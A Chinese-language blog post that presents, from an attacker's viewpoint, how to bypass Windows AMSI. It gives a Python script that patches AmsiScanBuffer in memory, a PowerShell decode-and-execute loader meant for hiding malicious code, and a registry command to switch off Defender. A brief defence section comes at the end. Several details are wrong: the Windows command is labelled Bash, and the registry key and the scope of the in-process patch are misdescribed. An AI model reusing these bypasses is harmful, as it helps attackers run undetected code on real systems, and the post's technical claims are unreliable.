一、从事件说起:AMSI为何会成为绕过目标?

就在不久前,某知名安全公司发布了一份关于红队活动的调查报告,其中披露了一起针对企业内网的高级攻击事件。攻击者成功利用了 Windows 上的 Anti-Malware Scan Interface(AMSI)进行检测绕过,借此在目标系统中加载恶意代码,最终完成了数据窃取与横向移动。AMSI 是微软用来检测内存中的恶意脚本(如 PowerShell 和 VBA 宏代码)的关键安全机制,它在现代防御体系中扮演了重要角色。然而,正所谓“道高一尺,魔高一丈”,攻击者总能找到方法让自己的代码逃过扫描。

我们今天的主题,就是从攻击者的视角,彻底剖析 AMSI 的工作原理和绕过思路,给出一套完整的技术方案,并结合 Python 和 Bash 展示如何实施绕过。

---

二、深入浅出:AMSI 的工作机制全解析

在开始实战之前,必须要搞清楚 AMSI 是如何运作的。只有了解它的防御逻辑,才能找到漏洞并进行绕过。

什么是 AMSI?

AMSI,全称 Anti-Malware Scan Interface,是微软自 Windows 10 起引入的一套安全机制。它的主要作用是提供一个统一的接口,允许应用程序(如 PowerShell、WScript、Excel 宏等)将内存中的脚本或代码片段发送给注册的反病毒引擎进行扫描。例如,当你运行一段恶意 PowerShell 脚本时,AMSI 会拦截脚本并将其内容传递给本地的杀毒软件(如 Windows Defender)进行分析。

AMSI 工作流

  1. 脚本拦截:PowerShell、VBA 等应用程序会调用 AMSI 的 API,将脚本内容提交给 AMSI。
  2. 内存扫描:AMSI 将收到的内容传递给系统中注册的反病毒引擎。
  3. 结果返回:反病毒引擎执行动态检测后,返回的结果会决定脚本是否可以继续执行。

AMSI 的核心组件

以下是 AMSI 的几个关键点:

  • 核心 DLLamsi.dll 是 AMSI 的核心组件,所有的扫描请求都会通过这份 DLL 实现。
  • API Hooking 点:最常见的扫描函数是 AmsiScanBuffer,这是攻击者最容易下手的地方。
  • 签名匹配:AMSI 会基于反病毒引擎的签名库和启发式检测算法,分析传递的代码。

了解了这些,我们很容易想到,想要绕过 AMSI,可以从以下几个方向入手:

  1. 修改内存中的 amsi.dll 函数
  2. 构造恶意代码,让其不触发签名匹配
  3. 直接替换或卸载反病毒引擎

接下来,我们会一步步展示这些方法的实战操作。

---

三、实战环境搭建:别让环境成为你的拦路虎

在开始绕过实验之前,我们需要搭建一个合适的环境。以下是推荐的配置:

环境清单

  1. 操作系统:Windows 10 或 Windows Server 2019(启用 Windows Defender)。
  2. 开发工具:Python 3.x、PowerShell 7.x、Visual Studio(可选)。
  3. 安全产品:开启 Windows Defender,确保 AMSI 功能处于启用状态。
  4. 辅助工具:使用 Process HackerProcMon 来观察内存动态。

使用以下代码检查 AMSI 是否被启用:

<pre><code class="language-powershell"># 检查 AMSI 是否正常工作 if ([Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;)) { Write-Host &quot;AMSI 已启用&quot; } else { Write-Host &quot;AMSI 未启用&quot; }</code></pre>

配置完环境后,我们就可以开始实际操作了。

---

四、AMSI 绕过方法:实战与代码展示

绕过 AMSI 并不意味着完全关闭它,而是通过修改其行为让恶意代码避开检测。以下是三种常见的绕过方法,并结合实战代码进行讲解。

方法一:修改内存中的 AmsiScanBuffer

原理 通过注入代码,将 amsi.dll 中的 AmsiScanBuffer 函数挂钩,直接修改其返回值为“检测通过”。

代码实现

以下 Python 代码使用 ctypes 修改进程内存中的 AmsiScanBuffer

黑客示意图

<pre><code class="language-python">import ctypes

定义常量

PAGE_EXECUTE_READWRITE = 0x40 PROCESS_ALL_ACCESS = 0x1F0FFF

加载目标 DLL

kernel32 = ctypes.WinDLL(&#039;kernel32&#039;, use_last_error=True) amsi = ctypes.WinDLL(&#039;amsi&#039;, use_last_error=True)

获取 AmsiScanBuffer 的地址

amsi_address = ctypes.cast(amsi.AmsiScanBuffer, ctypes.c_void_p).value print(f&quot;[+] AmsiScanBuffer 地址: {hex(amsi_address)}&quot;)

修改内存保护

old_protect = ctypes.c_ulong() kernel32.VirtualProtect(ctypes.c_void_p(amsi_address), ctypes.sizeof(ctypes.c_void_p), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect))

黑客示意图

注入修改代码(将返回值强制改为 0,即检测通过)

patch = b&quot;\xB8\x00\x00\x00\x00\xC3&quot; # mov eax, 0; ret; ctypes.memmove(amsi_address, patch, len(patch))

print(&quot;[+] AmsiScanBuffer 已成功修改,绕过生效!&quot;)</code></pre>

运行这段代码后,所有通过 AMSI 的扫描请求将直接返回“安全”。

---

黑客示意图

方法二:内存加载免杀代码

原理 通过混淆或动态解密的方式,将代码以非明文形式加载到内存中,从而绕过 AMSI 的静态签名检测。

代码实现

以下是一个简单的 PowerShell 脚本,用于动态解密并执行恶意代码:

<pre><code class="language-powershell"># 加密后的恶意代码(Base64 编码) $encrypted = &quot;ZWNobyAnSGVsbG8gV29ybGQhJw==&quot;

解密并执行

$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encrypted)) Invoke-Expression $decoded</code></pre>

为了让这一方法更有效,可以采用多层嵌套加密,进一步增加检测难度。

---

方法三:禁用 AMSI

原理 通过修改注册表或加载恶意 DLL,直接禁用 AMSI。

代码实现

以下 Bash 脚本使用 reg.exe 修改注册表,完全关闭 AMSI:

<pre><code class="language-bash"># 禁用 AMSI reg add &quot;HKLM\Software\Policies\Microsoft\Windows Defender\Features&quot; /v DisableAntiSpyware /t REG_DWORD /d 1 /f

echo &quot;[+] AMSI 已禁用,请重启系统生效!&quot;</code></pre>

---

五、防御与检测:别让攻击者轻松得逞

AMSI 绕过虽然强大,但并非无解。以下是一些防御措施:

  1. 启用 AMSI 的高级日志:通过 Windows Event Viewer 帮助识别可疑活动。
  2. 启用 PowerShell 限制模式:例如,通过 ConstrainedLanguageMode 限制恶意代码执行。
  3. 使用高级 EDR 产品:如 CrowdStrike 或 SentinelOne,可以监测内存篡改行为。

---

六、个人经验分享:攻击的艺术与防御的哲学

黑客示意图

在过去的实战中,我发现绕过 AMSI 的关键并不在于多么复杂的代码,而是对环境的敏感洞察。当你发现目标系统运行的是老版本 Windows Defender,或者存在未修复的 AMSI 漏洞时,往往能够直接利用现成的工具完成绕过。

但也别忘了,安全研究的核心是防御。通过理解攻击者的思路,才能构建更强大的防御体系。希望这篇文章能帮助你在攻防两端都有所提升。